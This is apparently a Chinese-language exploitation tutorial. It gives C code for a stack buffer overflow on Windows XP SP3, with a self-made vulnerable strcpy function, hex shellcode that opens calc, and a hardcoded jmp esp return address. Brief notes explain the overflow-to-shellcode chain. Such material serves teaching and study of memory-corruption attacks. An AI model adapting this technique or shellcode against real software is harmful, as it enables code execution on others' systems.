下面的代码可以在xp sp3系统上运行测试:
int vulnfun(char* str)
{
char stack[10];
strcpy(stack, str);
return 0;
}
int main()
{
unsigned char shellcode[] =
"\x55\x8B\xEC\x33\xC0\x50\x50\x50\xC6\x45\xF4\x4D\xC6\x45\xF5\x53"
"\xC6\x45\xF6\x56\xC6\x45\xF7\x43\xC6\x45\xF8\x52\xC6\x45\xF9\x54\xC6\x45\xFA\x2E\xC6"
"\x45\xFB\x44\xC6\x45\xFC\x4C\xC6\x45\xFD\x4C\xBA"
"\x7b\x1d\x80\x7c"
"\x52\x8D\x45\xF4\x50"
"\xFF\x55\xF0"
"\x55\x8B\xEC\x83\xEC\x2C\xB8\x63\x61\x6C\x63\x89\x45\xF4\x33\xC0\x89\x45\xF8"
"\x8D\x45\xF4"
"\x50\xB8"
"\xc7\x93\xbf\x77"
"\xFF\xD0";
char *strSelf = "AAAAAAAAAAAAAAAA";
char strJmp[4] = { 0x13, 0x44, 0x87, 0x7C};
char strOverflow[1024] = { 0 };
memcpy(strOverflow, strSelf, strlen(strSelf));
memcpy(strOverflow + strlen(strSelf), strJmp, 4);
memcpy(strOverflow + strlen(strSelf) + 4, shellcode, sizeof(shellcode) - 1);
//溢出点
vulnfun(strOverflow);
return 0;
}
1)shellcode功能为弹出一个计算器calc。
2)strJmp地址0x7C874413指向的是jmp esp指令。溢出利用的关键在于覆盖返回地址,而这个地址需要是一个固定地址,因为传入的字符串是无法知道相对地址的。所以要在整个exe中搜索“jmp esp”指令也就是“FF E4”二进制。找到后,就可以将返回地址指向“jmp esp”。
3)在覆盖返回地址后,紧跟着的就是shellcode代码。而此时的esp就是指向的shellcode。所以就需要“jmp esp”来定位到shellcode上。
4)栈溢出漏洞利用过程:溢出->覆盖返回地址->jmp esp/call esp->shellcode